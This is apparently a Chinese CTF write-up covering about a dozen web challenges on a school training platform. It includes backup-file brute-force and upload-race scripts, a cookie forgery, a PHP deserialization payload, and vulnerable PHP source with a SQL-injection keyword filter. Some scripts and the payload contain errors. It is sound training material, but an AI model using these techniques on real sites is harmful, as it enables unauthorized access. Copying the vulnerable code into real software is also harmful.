Contents
  1. 1. 前言
  2. 2. 正文
    1. 2.1. 源代码
    2. 2.2. colorsnake
    3. 2.3. 备份
    4. 2.4. 上传一
    5. 2.5. 自动获取flag程序
    6. 2.6. cookie
    7. 2.7. 上传二
    8. 2.8. logic
    9. 2.9. 上传三
    10. 2.10. is hash safe??
    11. 2.11. 淘金
    12. 2.12. 听说你会面向对象
    13. 2.13. 稍微有点难的注入

前言

学校实训平台的题目,做一做。

正文

源代码

直接查看源代码,把汉字去了,就是flag

AWrL0e.png

colorsnake

是个贪吃蛇游戏,要吃够50分才可以得到flag,但是

直接吃的话很难做到,还得作弊才行。

看看源码,在结尾处发现一个game.js

AWr5f1.png

打开之后又是一段代码,很长我是看不懂,搜索看看有没有其他页面存在,发现一个getScore.php

1554529241682

再打开看看

AWrxfI.png

一段json编码后的字符,其他也不知道是什么,但是看到了score:0,这是记录分数的。刷新一下页面之后,发现分数变成1了

AWcy4J.png

又刷了一次,又变回0了,然后一直刷刷刷,总是会变回0,不能刷太快也不能刷太慢,差不多每秒一次的样子,尝试写个脚本

1
2
3
4
5
6
7
8
9
10
11
12
import requests
import json
import time

url='http://bxs.cumt.edu.cn/challenge/web/colorSnake/getScore.php'
ses=url.session()

for i in range(51):
time.sleep(1)
ans=ses.get(url)
msg=json.loads(ans.content)['msg']
print(json.loads(ans.content)['score'],msg.encode('utf-8'))

AWcsN4.png

还有一个方法

备份

打开题目,有两个要下载的文件,下载之后,也没发现啥,题目又说有很多备份文件,直接在url里添加1.bak,发现可以直接下载,那看来是藏在这里面了,但是你不可能一个一个找出来的,需要写一个脚本

1
2
3
4
5
6
7
8
9
10
import requests

url='http://bxs.cumt.edu.cn/challenge/web/code/{num}.bak'

for i in range(1000):
url2=url.format(num=i)
ans=requests.get(url2)
if flag in ans.text:
print ans.text

上传一

不知道什么鬼,直接bp抓包,改了个后缀名就行了

AW2kJH.png

自动获取flag程序

查看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
// 请求参数一
$("#a").click(function(){
$.ajax({
url:'param1.php',
method:'get',
dataType:'json',
success:calParam2
})
});
function calParam2(d){
var data=JSON.parse((d.param));
var length=data.length;
var second=new Date().getSeconds();
var sum=0;
for (var i = 1; i < length; i++) {
for (var j = 0; j < length/2; j++) {
sum+=parseInt(data[i])*second + data[j];
}
}

// 请求flag
$.ajax({
url:'http://new.ctf.param.com/aram2.php?sum='+sum, #这个url与上面的不一样,很明显是错误的
method:'get',
dataType:'json',
success:function(s){
alert(s.f);

},
error:function(s){
alert('错了');
}
})
}

打开param1.php,得到:

1
{"param":"%5B%221%22%2C%226%22%2C%222%22%2C%228%22%2C%224%22%2C%222%22%2C%228%22%2C%224%22%2C%229%22%2C%221%22%2C%2210%22%5D"}

解码后

1
{"param":"["1","6","2","8","4","2","8","4","9","1","10"]"}

打开param2.php,得到:

1
{"f":"\u5475\u5475\u5475\u5475\u5475\u5475"}

解码后:

1
{"f":"呵呵呵呵呵呵"}

把第二个url对照第一个改为:’param2.php?param=’+sum,但是程序中直接得到的参数是编码的
所以在程序中加上解码语句d.param=unescape(d.param)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
    function calParam2(d){
d.param=unescape(d.param);
var data=JSON.parse((d.param));
var length=data.length;
var second=new Date().getSeconds();
var sum=0;
for (var i = 1; i < length; i++) {
for (var j = 0; j < length/2; j++) {
sum+=parseInt(data[i])*second + data[j];
}
}

// 请求flag
$.ajax({
url:'param2.php?param='+sum,
method:'get',
dataType:'json',
success:function(s){
alert(s.f);

},
error:function(s){
alert('错了');
}
})
}

为什么要加上d.param而不是参数d呢?我没学过JS,但是看参数d的形式就是python字典,要解码的是字典里的后半部分.参考文章

既然提示cookie了,而且要管理员登录,直接bp抓包,

查看cookie,发现user=guest,直接删掉,改成user=admin

AWh0D1.png

在url访问一下k.jpg,得到一张图,是维吉尼亚,这就好说了,直接把那个密文哪去解密,key=e,解密之后就是flag

上传二

上传一就给了flag了,

logic

查看源码

发现了一些有用的东西

AW4AM9.png

记录了文件编辑器是vim,那么就有可能有文件泄露,尝试submit.php.swp,得到一个文件,其中的关键代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
if(!empty($token)&&!empty($emailAddress)){
if(strlen($token)!=10) die('fail');
if($token!='0') die('fail');
$sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'";
$r = mysql_query($sql) or die('db error');
$r = mysql_fetch_assoc($r);
$r = $r['num'];
if($r>0){
echo $flag;
}else{
echo "失败了呀";
}
}

要求token不空,emailaddress不空,token长度要等于10,而且要token=’0’,这样信息也就收集的差不多了

用户名admin,邮箱chenyurui@gmail.com,token=0000000000即可。

上传三

随便上传一个,发现和前两题一毛一样的回显,但是没有flag啊,

AWI9c4.png

只能尝试其他后缀试试,发现phtml上传成功的时候,会回显出来一句话

AWonI0.png

提示说上传的文件被删除了,没办法,看了看writeup,都是写的脚本爆破的,如下:

1
2
3
4
5
6
7
import requests
url = "http://202.119.201.199/challenge/web/uploadfile/upload/eee.phtml"
ses=requests.session()
while True:
ans= ses.get(url)
if "flag" in ans.text:
print(ans.text)

is hash safe??

题目没了

淘金

这题要抢金币,来购买flag,抢劫的时间只有三秒,而且千万一个人要过五秒才能再次抢他。

AWHLFI.png

可以看到,抢劫成功后,变成了dorob.php,试了一下,只要你点击了名字,可以不管验证码,直接打开dorob.php就可以抢到金币,这样就绕过了验证码。

脚本不会写看的同学的,0verwatch

听说你会面向对象

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
 <?php
//flag in flag.php
class Admin{
public $file = 'flag.php';
public function __construct($f)
{
$this->file = $f;
}
public function __wakeup()
{
// TODO: Implement __wakeup() method.
if (stripos($this->file,'flag')+1){
echo 'dangerrous';
$this->file = 'index.php';
}
}
public function __destruct()
{
var_dump($this->file);
var_dump(file_exists($this->file));
// TODO: Implement __destruct() method.
if (!strpos($this->file,'/')&&!strpos($this->file,'\\')){
highlight_file($this->file);
}else
die('你想干嘛');
}
}
if ($_GET['data']){
@unserialize($_GET['data']);
}else{
highlight_file('index.php');
}
?>

是考察PHP的序列化问题的,可以看一下我的另一篇文章《PHP的序列化与反序列化》

这里直接构造序列化后的语句:

O:5:”Admin”:2:{s:4:”file”;s:8:”flag.php”;}

稍微有点难的注入

先看看源码,发现注释里面有source.zip,下载。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
//sql注入防御 by cyr
//defense.php
clearInput($_POST);
clearInput($_GET);
clearInput($_COOKIE);

function clearInput($input){
if(is_array($input)){
foreach ($input as $key => $value){
clearInput($value);
}
}else{
if(!get_magic_quotes_gpc()) $input = addslashes($input);

$orginInput = $input;

$input = str_ireplace("\"","/",$input);
$input = str_ireplace("'","/",$input);
$input = str_ireplace("*","/",$input);
$input = str_ireplace("~","/",$input);
$input = str_ireplace("(", "/", $input);
$input = str_ireplace(")", "/", $input);
$input = str_ireplace("select", "\sel\ect", $input);
$input = str_ireplace("insert", "\ins\ert", $input);
$input = str_ireplace("update", "\up\date", $input);
$input = str_ireplace("delete", "\de\lete", $input);
$input = str_ireplace("union", "\un\ion", $input);
$input = str_ireplace("into", "\in\to", $input);
$input = str_ireplace("load_file", "\load\_\file", $input);
$input = str_ireplace("outfile", "\out\file", $input);
$input = str_ireplace("sleep", "\sle\ep", $input);
$input = str_ireplace("banchmark", "ban\chm\ark", $input);
$input = str_replace("like", "li\ke%", $input);

$input_html=$input;
$input = strip_tags($input);
if($input_html!=$input) $input='';
$input = str_replace("%", "\%", $input);

if(strlen($orginInput)!=strlen($input)){
die('sql injection detected!');
}

return $input;
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<?php
//index.php
include_once 'defense.php'; //防注入
include_once 'config.php'; //数据库连接
mysql_select_db("2015KDCTF_sqlsql");
error_reporting(0);
foreach ($_GET as $key => $value) {
$$key = $value;
}
var_dump($query);
$typeData = getData("SELECT * from type where id='$type'");
if(!empty($typeData)){
$query = "where type='{$type}'";
}
$query = ($query)?$query:'where 1=2';
$sql = "SELECT * from news ".$query;
$resultNEWS = getData($sql);
function getData($sql){
$r = mysql_query($sql);
$result = array();
if ($r) {
while ($row = mysql_fetch_assoc($r)) {
$result[] = $row;
}
return $result;
}
return false;
}
//flag 在数据库中
?>

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" />
<meta name="renderer" content="webkit" />
<title>看新闻</title>
<style type="text/css">
</style>
</head>
<body>
<ul>
<li><a href="index.php?type=1">热门分类</a></li>
<li><a href="index.php?type=2">学习分类</a></li>
<li><a href="index.php?type=3">游戏分类</a></li>
<li><a href="index.php?type=4">睡觉分类</a></li>
<li><a href="index.php?type=5">嘿嘿分类</a></li>
</ul>
<ul>
<?php if(empty($resultNEWS))
echo ('没有此类新闻');
else{
foreach ($resultNEWS as $key => $value) { ?>
<li>
<h3><?php echo $value['title'];?></h3>
<article><?php echo $value['content'];?></article>
</li>
<?php }} ?>

</ul>
<!-- 源码备份 source.zip -->
</body>
</html>
Contents
  1. 1. 前言
  2. 2. 正文
    1. 2.1. 源代码
    2. 2.2. colorsnake
    3. 2.3. 备份
    4. 2.4. 上传一
    5. 2.5. 自动获取flag程序
    6. 2.6. cookie
    7. 2.7. 上传二
    8. 2.8. logic
    9. 2.9. 上传三
    10. 2.10. is hash safe??
    11. 2.11. 淘金
    12. 2.12. 听说你会面向对象
    13. 2.13. 稍微有点难的注入